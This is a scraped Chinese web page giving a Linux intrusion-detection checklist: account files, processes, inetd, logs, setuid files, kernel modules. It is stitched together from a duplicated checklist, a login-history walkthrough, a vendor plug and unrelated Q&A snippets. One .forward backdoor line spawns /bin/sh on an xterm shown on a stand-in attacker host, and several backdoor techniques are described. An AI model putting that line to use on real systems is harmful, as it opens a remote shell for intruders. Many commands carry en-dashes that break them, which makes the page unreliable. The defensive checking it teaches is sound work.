Linux如何判断自己的服务器是否被入侵

作者&投稿:赵奇 (若有异议请与网页底部的电邮联系)
如何判断Linux服务器是否被入侵~

1、检查系统密码文件
首先从明显的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。
awk –F: ‘length($2)==0 {print $1}’ /etc/shadow
2、查看一下进程,看看有没有奇怪的进程
重点查看进程:ps –aef | grep inetd
inetd是UNIX系统的守护进程,正常的inetd的pid都比较靠前,如果你看到输出了一个类似inetd –s /tmp/.xxx之类的进程,着重看inetd –s后面的内容。在正常情况下,LINUX系统中的inetd服务后面是没有-s参数的,当然也没有用inetd去启动某个文件;而solaris系统中也仅仅是inetd –s,同样没有用inetd去启动某个特定的文件;如果你使用ps命令看到inetd启动了某个文件,而你自己又没有用inetd启动这个文件,那就说明已经有人入侵了你的系统,并且以root权限起了一个简单的后门。
输入ps –aef 查看输出信息,尤其注意有没有以./xxx开头的进程。一旦发现异样的进程,经检查为入侵者留下的后门程序,立即运行kill –9 pid 开杀死该进程,然后再运行ps –aef查看该进程是否被杀死;一旦此类进程出现杀死以后又重新启动的现象,则证明系统被人放置了自动启动程序的脚本。这个时候要进行仔细查找:find / -name 程序名 –print,假设系统真的被入侵者放置了后门,根据找到的程序所在的目录,会找到很多有趣的东东,
接下来根据找到入侵者在服务器上的文件目录,一步一步进行追踪。
3、检查系统守护进程
检查/etc/inetd.conf文件,输入:cat /etc/inetd.conf | grep –v “^#”,输出的信息就是你这台机器所开启的远程服务。
一般入侵者可以通过直接替换in.xxx程序来创建一个后门,比如用/bin/sh 替换掉in.telnetd,然后重新启动inetd服务,那么telnet到服务器上的所有用户将不用输入用户名和密码而直接获得一个rootshell。
4、检查网络连接和监听端口
输入netstat -an,列出本机所有的连接和监听的端口,查看有没有非法连接。
输入netstat –rn,查看本机的路由、网关设置是否正确。
输入 ifconfig –a,查看网卡设置。
5、检查系统日志
命令last | more查看在正常情况下登录到本机的所有用户的历史记录。但last命令依赖于syslog进程,这已经成为入侵者攻击的重要目标。入侵者通常会停止系统的syslog,查看系统syslog进程的情况,判断syslog上次启动的时间是否正常,因为syslog是以root身份执行的,如果发现syslog被非法动过,那说明有重大的入侵事件。
在linux下输入ls –al /var/log
检查wtmp utmp,包括messgae等文件的完整性和修改时间是否正常,这也是手工擦除入侵痕迹的一种方法。
6、检查系统中的core文件
通过发送畸形请求来攻击服务器的某一服务来入侵系统是一种常规的入侵方法,典型的RPC攻击就是通过这种方式。这种方式有一定的成功率,也就是说它并不能100%保证成功入侵系统,而且通常会在服务器相应目录下产生core文件,全局查找系统中的core文件,输入find / -name core –exec ls –l {} \; 依据core所在的目录、查询core文件来判断是否有入侵行为。
7、检查系统文件完整性
检查文件的完整性有多种方法,通常我们通过输入ls –l 文件名来查询和比较文件,这种方法虽然简单,但还是有一定的实用性。但是如果ls文件都已经被替换了就比较麻烦。在LINUX下可以用rpm –V `rpm –qf 文件名` 来查询,查询的结果是否正常来判断文件是否完整。

检查 1 - 当前都有谁在登录?
你首先要查看当前都有谁登录在服务器上。发现攻击者登录到服务器上进行操作并不复杂。
其对应的命令是 w。运行 w 会输出如下结果:
08:32:55 up 98 days, 5:43, 2 users, load average: 0.05, 0.03, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/0 113.174.161.1 08:26 0.00s 0.03s 0.02s ssh root@
coopeaa12
root pts/1 78.31.109.1 08:26 0.00s 0.01s 0.00s w
第一个 IP 是英国 IP,而第二个 IP 是越南 IP。这个不是个好兆头。
停下来做个深呼吸, 不要恐慌之下只是干掉他们的 SSH 连接。除非你能够防止他们再次进入服务器,否则他们会很快进来并踢掉你,以防你再次回去。
请参阅本文最后的“被入侵之后怎么办”这一章节来看找到了被入侵的证据后应该怎么办。
whois 命令可以接一个 IP 地址然后告诉你该 IP 所注册的组织的所有信息,当然就包括所在国家的信息。
检查 2 - 谁曾经登录过?
Linux 服务器会记录下哪些用户,从哪个 IP,在什么时候登录的以及登录了多长时间这些信息。使用 last 命令可以查看这些信息。
输出类似这样:
root pts/1 78.31.109.1 Thu Nov 30 08:26 still logged in
root pts/0 113.174.161.1 Thu Nov 30 08:26 still logged in
root pts/1 78.31.109.1 Thu Nov 30 08:24 - 08:26 (00:01)
root pts/0 113.174.161.1 Wed Nov 29 12:34 - 12:52 (00:18)
root pts/0 14.176.196.1 Mon Nov 27 13:32 - 13:53 (00:21)
这里可以看到英国 IP 和越南 IP 交替出现,而且最上面两个 IP 现在还处于登录状态。如果你看到任何未经授权的 IP.

1、检查系统密码文件

首先从明显的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。

检查一下passwd文件中有哪些特权用户,系统中uid为0的用户都会被显示出来。

1

   

awk –F:’$3==0 {print $1}’ /etc/passwd

   

  

顺便再检查一下系统里有没有空口令帐户:

1

   

awk –F: ‘length($2)==0 {print $1}’ /etc/shadow

   

  

2、查看一下进程,看看有没有奇怪的进程

重点查看进程:ps –aef | grep inetd

inetd是UNIX系统的守护进程,正常的inetd的pid都比较靠前,如果你看到输出了一个类似inetd –s /tmp/.xxx之类的进程,着重看inetd –s后面的内容。在正常情况下,LINUX系统中的inetd服务后面是没有-s参数的,当然也没有用inetd去启动某个文件;而solaris系统中也仅仅是inetd –s,同样没有用inetd去启动某个特定的文件;如果你使用ps命令看到inetd启动了某个文件,而你自己又没有用inetd启动这个文件,那就说明已经有人入侵了你的系统,并且以root权限起了一个简单的后门。

输入ps –aef 查看输出信息,尤其注意有没有以./xxx开头的进程。一旦发现异样的进程,经检查为入侵者留下的后门程序,立即运行kill –9 pid 开杀死该进程,然后再运行ps –aef查看该进程是否被杀死;一旦此类进程出现杀死以后又重新启动的现象,则证明系统被人放置了自动启动程序的脚本。这个时候要进行仔细查找:find / -name 程序名 –print,假设系统真的被入侵者放置了后门,根据找到的程序所在的目录,会找到很多有趣的东东J

UNIX下隐藏进程有的时候通过替换ps文件来做,检测这种方法涉及到检查文件完整性,稍后我们再讨论这种方法。

接下来根据找到入侵者在服务器上的文件目录,一步一步进行追踪。

3、检查系统守护进程

检查/etc/inetd.conf文件,输入:cat /etc/inetd.conf | grep –v “^#”,输出的信息就是你这台机器所开启的远程服务。

一般入侵者可以通过直接替换in.xxx程序来创建一个后门,比如用/bin/sh 替换掉in.telnetd,然后重新启动inetd服务,那么telnet到服务器上的所有用户将不用输入用户名和密码而直接获得一个rootshell。

4、检查网络连接和监听端口

输入netstat -an,列出本机所有的连接和监听的端口,查看有没有非法连接。

输入netstat –rn,查看本机的路由、网关设置是否正确。

输入 ifconfig –a,查看网卡设置。

5、检查系统日志

命令last | more查看在正常情况下登录到本机的所有用户的历史记录。但last命令依赖于syslog进程,这已经成为入侵者攻击的重要目标。入侵者通常会停止系统的syslog,查看系统syslog进程的情况,判断syslog上次启动的时间是否正常,因为syslog是以root身份执行的,如果发现syslog被非法动过,那说明有重大的入侵事件。

在linux下输入ls –al /var/log

在solaris下输入 ls –al /var/adm

检查wtmp utmp,包括messgae等文件的完整性和修改时间是否正常,这也是手工擦除入侵痕迹的一种方法。

6、检查系统中的core文件

通过发送畸形请求来攻击服务器的某一服务来入侵系统是一种常规的入侵方法,典型的RPC攻击就是通过这种方式。这种方式有一定的成功率,也就是说它并不能100%保证成功入侵系统,而且通常会在服务器相应目录下产生core文件,全局查找系统中的core文件,输入find / -name core –exec ls –l {} \; 依据core所在的目录、查询core文件来判断是否有入侵行为。

7、.rhosts和.forward

这是两种比较著名的后门文件,如果想检查你的系统是否被入侵者安装了后门,不妨全局查找这两个文件:

find / -name “.rhosts” –print

find / -name “.forward” –print

在某用户的$HOME下,.rhosts文件中仅包含两个+号是非常危险的,如果你的系统上开了513端口(rlogin端口,和telnet作用相同),那么任意是谁都可以用这个用户登录到你的系统上而不需要任何验证。

看到这里如果想要深入的做安全加固服务以及安全部署

就必须找专业做服务器的安全公司来处理了国内也就Sine安全和绿盟比较专业提供。

Unix下在.forward文件里放入命令是重新获得访问的常用方法在某一 用户$HOME下的.forward可能设置如下:

\username|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 –e /bin/sh"

这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases). 注意这只是一种简单的变换. 更为高级的能够从.forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后).利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或procmail类程序, 很有可能还有问题。在Solaris系统下,如果你运行如下命令:

ln -s /var/mail/luser ~/.forward

然后设置vacation有效,那么/var/mail/luser就会被拷贝到~/.forward,同时会附加"|/usr/bin/vacation me",旧的symlink被移到~/.forward..BACKUP中。

直接删除掉这两个文件也可以。

8、检查系统文件完整性

检查文件的完整性有多种方法,通常我们通过输入ls –l 文件名来查询和比较文件,这种方法虽然简单,但还是有一定的实用性。但是如果ls文件都已经被替换了就比较麻烦。在LINUX下可以用rpm –V `rpm –qf 文件名` 来查询,国家查询的结果是否正常来判断文件是否完整。在LINUX下使用rpm来检查文件的完整性的方法也很多,这里不一一赘述,可以man rpm来获得更多的格式。

UNIX系统中,/bin/login是被入侵者经常替换作为后门的文件,接下来谈一下login后门 :

UNIX里,Login程序通常用来对telnet来的用户进行口令验证。入侵者获取login的源代码并修改,使它在比较输入口令与存储口令时先检查后门口令。如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入:这将允许入侵者进入任何账号,甚至是root目录。由于后门口令是在用户真实登录并被日志记录到utmp和wtmP前产生的一个访问,所以入侵者可以登录获取shell却不会暴露该账号。管理员注意到这种后门后,使用”strings”命令搜索login程序以寻找文本信息。许多情况下后门口令会原形毕露。入侵者又会开始加密或者更改隐藏口令,使strings命令失效。所以许多管理员利用MD5校验和检测这种后门。UNIX系统中有md5sum命令,输入md5sum 文件名检查该文件的md5签名。它的使用格式如下:md5sum –b 使用二进制方式阅读文件;md5sum –c 逆向检查MD5签名;md5sum –t 使用文本方式阅读文件。

在前面提到过守护进程,对于守护进程配置文件inetd.conf中没有被注释掉的行要进行仔细比较,举个简单的例子,如果你开放了telnet服务,守护进程配置文件中就会有一句:telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd

可以看到它所使用的文件是 /usr/sbin/in.telnetd,检查该文件的完整性,入侵者往往通过替换守护进程中允许的服务文件来为自己创建一个后门。

LINUX系统中的/etc/crontab也是经常被入侵者利用的一个文件,检查该文件的完整性,可以直接cat /etc/crontab,仔细阅读该文件有没有被入侵者利用来做其他的事情。

不替换login等文件而直接使用进程来启动后门的方法有一个缺陷,即系统一旦重新启动,这个进程就被杀死了,所以得让这个后门在系统启动的时候也启动起来。通常通过检查/etc/rc.d下的文件来查看系统启动的时候是不是带有后门程序;这个方法怎么有点象查windows下的trojan?

说到这里,另外提一下,如果在某一目录下发现有属性为这样的文件:-rwsr-xr-x 1 root root xxx .sh,这个表明任何用户进来以后运行这个文件都可以获得一个rootshell,这就是setuid文件。运行 find –perm 4000 –print对此类文件进行全局查找,然后删除这样的文件。

9、检查内核级后门

如果你的系统被人安装了这种后门,通常都是比较讨厌的,我常常就在想,遇到这种情况还是重新安装系统算了J,言归正传,首先,检查系统加载的模块,在LINUX系统下使用lsmod命令,在solaris系统下使用modinfo命令来查看。这里需要说明的是,一般默认安装的LINUX加载的模块都比较少,通常就是网卡的驱动;而solaris下就很多,没别的办法,只有一条一条地去分析。对内核进行加固后,应禁止插入或删除模块,从而保护系统的安全,否则入侵者将有可能再次对系统调用进行替换。我们可以通过替换create_module()和delete_module()来达到上述目的。另外,对这个内核进行加固模块时应尽早进行,以防系统调用已经被入侵者替换。如果系统被加载了后门模块,但是在模块列表/proc/module里又看不到它们,有可能是使用了hack工具来移除加载的模块,大名鼎鼎的knark工具包就有移除加载模块的工具。出现这种情况,需要仔细查找/proc目录,根据查找到的文件和经验来判断被隐藏和伪装的进程。Knark后门模块就在/proc/knark目录,当然可能这个目录是隐藏的。




LINUX SHELL代码,如何判断容器是否在运行,没有运行就自动启动?
假设容器名为my_container,可以使用以下Shell脚本来实现:!\/bin\/bash 检查容器是否在运行 if [ "$(docker inspect -f '{{.State.Running}}' my_container 2>\/dev\/null)" == "true" ]; then echo "Container is running"else 启动容器 docker start my_container echo "Container has been st...

Linux服务自动启动linux服务自动
linux服务器总是自动重启怎么解决?1、先先出现这种情况的话,建议先检查下服务器安全性,检查是不是被设置植入了自动重启木马,从而导致的自动重启,如果是这种情况,找出删除家固服务器安全就可以了;2、第二步是排查,看是不是服务器本身设置了,安排重启回收服务器系统资源的时候,导致资源不足从而引...

linux环境下如何通过shell脚本监测tomcat是否关闭并自动启动?
ps aux|grep tomcat | grep -v grep | grep -v PID | awk '{print $2}'

如何在Linux中使用tune2fs命令调整文件系统自检周期和功能?
具体操作示例如下:- 想要查看文件系统的详细信息,只需输入`[root@linuxcool ~]# tune2fs -l \/dev\/sdb1`。- 如果希望在强制检查前限制挂载次数,可以使用`[root@linuxcool ~]# tune2fs -c 30 \/dev\/sdb1`,设置为30次。- 想要更改检查周期,如10天后检查,输入`[root@linuxcool ~]# tune...

linux自动启动脚本linux自动启动
用户可以将自己书写的shellscript文件放入其中,或者数据库的自动,was等等 比如让数据库开机自启:vi\/etc\/rc.local添加以下内容:su-oracle-clsnrctlstart\/\/让监听启动起来 su-oracle-cdbstart\/\/让数据库启动起来 linux如何开机自动运行sh脚本?要开机运行只需将它加入到rc.local,一般为\/etc\/rc.d\/rc....

Linux如何设置开机自启动sh文件
已经完成了sh文件的编写、添加可执行权限以及添加到启动项中的操作,现在重启Linux系统,查看是否已经自动执行了该脚本文件。执行如下命令重启Linux系统:sudoreboot 重启后,查看输出结果以判断是否自动执行了该脚本文件。总结 本文介绍了Linux如何设置开机自启动sh文件的过程,具体包括编写sh文件、设置sh文件可...

实验室linux(suse)大概每隔一小时自动reboot一次。请问如何检查出异常...
查看各种日志,包括系统日志,应用日志,数据库日志,系统自动重启的原因比较多样,可能是硬件问题(如,主板出问题或磁阵连接问题等)、系统订制任务、应用程序故障或bug(如,应用大量占用内存溢出等)、数据库故障(如,rac心跳网络连接失败导致rac自动调用重启等。)。这个只能一步一步排查。

Linux系统自动化测试实现稳健运行linux系统自动化测试
实际操作中,Linux系统自动化测试需要考虑很多因素,脚本本身也会遭遇太多的错误,例如可能存在循环测试等过程中出现的问题,还需要收集足够的元数据以及调整测试的策略等,可以使用以下示例代码:while true;do start the test .\/run_tests.sh done 让脚本持续运行,测试更加及时,从而实现Linux系统的稳健...

Linux中如何使用aux命令进行系统性能监测linuxaux
一,使用inux自带的top命令进行性能数据采集,输入命令top -n 5,表示连续采集5次top数据:top -n 5 二,使用aux命令收集分析结果,输入以下命令:aux -f top.log 其中top.log作为分析的输入文件,是上一步中top -n 5采集的结果,执行后将输出多个性能数据:cpu us us sy ni id wa hi si st...

linux系统如何自动更新
1、启动CentOS系统,进入到桌面。2、在桌面上右击鼠标,选择“在终端中打开”。3、登陆root帐户,CentOS系统的方法输入su,回车,再输入密码。4、再输入yum update,回车。此时,系统会检测是否有可升级的程序,如果有,则会列出详细的升级项,并询问你是否升级,你只需输入 y 回车即可。

大理白族自治州13933774904: linux怎么查看服务器是否正常 -
爰莉布洛: top命令,查看有没有异常进程占用大量的CPU或者是内存资源;查看less /var/log/secure文件,查看ssh日志,看是否有非法用户大量尝试ssh; who命令,查看目前ssh到linux服务器的用户,是否是合法的; 查看在linux服务器上部署的应用是否有漏洞,有的话很容易受到攻击.

大理白族自治州13933774904: 怎么查看linux服务器是否在用 -
爰莉布洛: 1、通过top命令查看开机时间:2、通过w命令查看登录记录:3、通过last命令查看系统启动操作:

大理白族自治州13933774904: 如何判断linux DHCP服务器是否已启动? -
爰莉布洛: 1. 查看是否设置开机启动 chkconfig --list | grep dhcpd2. 查看端口是否打开 netstat -anulp | grep :673.查看服务状态/etc/init.d/dhcpd status

大理白族自治州13933774904: 如果想查看Linux 域名服务器是否工作正常,可以采用哪些命令(3种)
爰莉布洛: nslookup ip/servernameping ip/servernamedig option ip/servernamehost ip/servername具体用法,请参见man.

大理白族自治州13933774904: Linux下如何查看自己的服务器有没有无线网卡 -
爰莉布洛: Linux下可通过以下步骤查看自己的服务器有没有无线网卡:1、首先找到系统中的“计算机”;2、选中“计算机”,右键双击“管理”;3、点击“计算机管理”,在右窗格中选择“设备管理器”;4、在中间窗格中找到“网络适配器”;5、在“网络适配器”下面,会列出当前电脑所有的网卡设备,其中带有“WiFi”字样的网络设备就是无线网卡,此种情况则说明无线网卡存在,反之,则无线网卡不存在.友情提示:一般的 PC 电脑在驱动都安装完成的情况下,如网络适配器列表下只有一个网卡设备的话,就意味着当前电脑没有无线网卡.

大理白族自治州13933774904: 如何查看服务器是否安装了linux -
爰莉布洛: 查看安装没有:1、 yum info named2、 whereis named 查看运行没有:1、 ps -ef | grep named2、 service named status 或 systemctl status named 我的服务器用的是小鸟云的,性能稳定,性价比高.

大理白族自治州13933774904: linux中如何查看WEB服务器是否安装? -
爰莉布洛: linux下web服务器常用的一般就apache、nginx# rpm -qa |grep apache# rpm -qa |grep nginx 以上是查看是否安装了rpm包,如果没有# chkconfig --list 列出系统服务的运行

大理白族自治州13933774904: 如何用host命令查看Linux域名服务器是否正常工作 -
爰莉布洛: Usage: host [-aCdlriTwv] [-c class] [-N ndots] [-t type] [-W time] [-R number] hostname [server] -a is equivalent to -v -t * -c specifies query class for non-IN data -C compares SOA records on authoritative nameservers -d is equivalent to -v -l lists all ...

大理白族自治州13933774904: 如何确定linux服务器某端口是否打开 -
爰莉布洛: 命令如下#netstat -an | grep 80(需要查找的端口) 希望能帮到你!知道团队:幸福因为有你

大理白族自治州13933774904: 如何检查Linux服务器是不是被黑了 -
爰莉布洛: linux系统的服务器被入侵,总结了以下的基本方法,供不大懂linux服务器网理人员参考考学习. 首先先用iptraf查下,如果没装的运行yum install iptraf装下,看里面是不是UDP包发的很多,如果是,基本都被人装了后门 1. 检查帐户 # less /etc/...

本站内容来自于网友发表,不代表本站立场,仅表示其个人看法,不对其真实性、正确性、有效性作任何的担保
相关事宜请发邮件给我们
© 星空见康网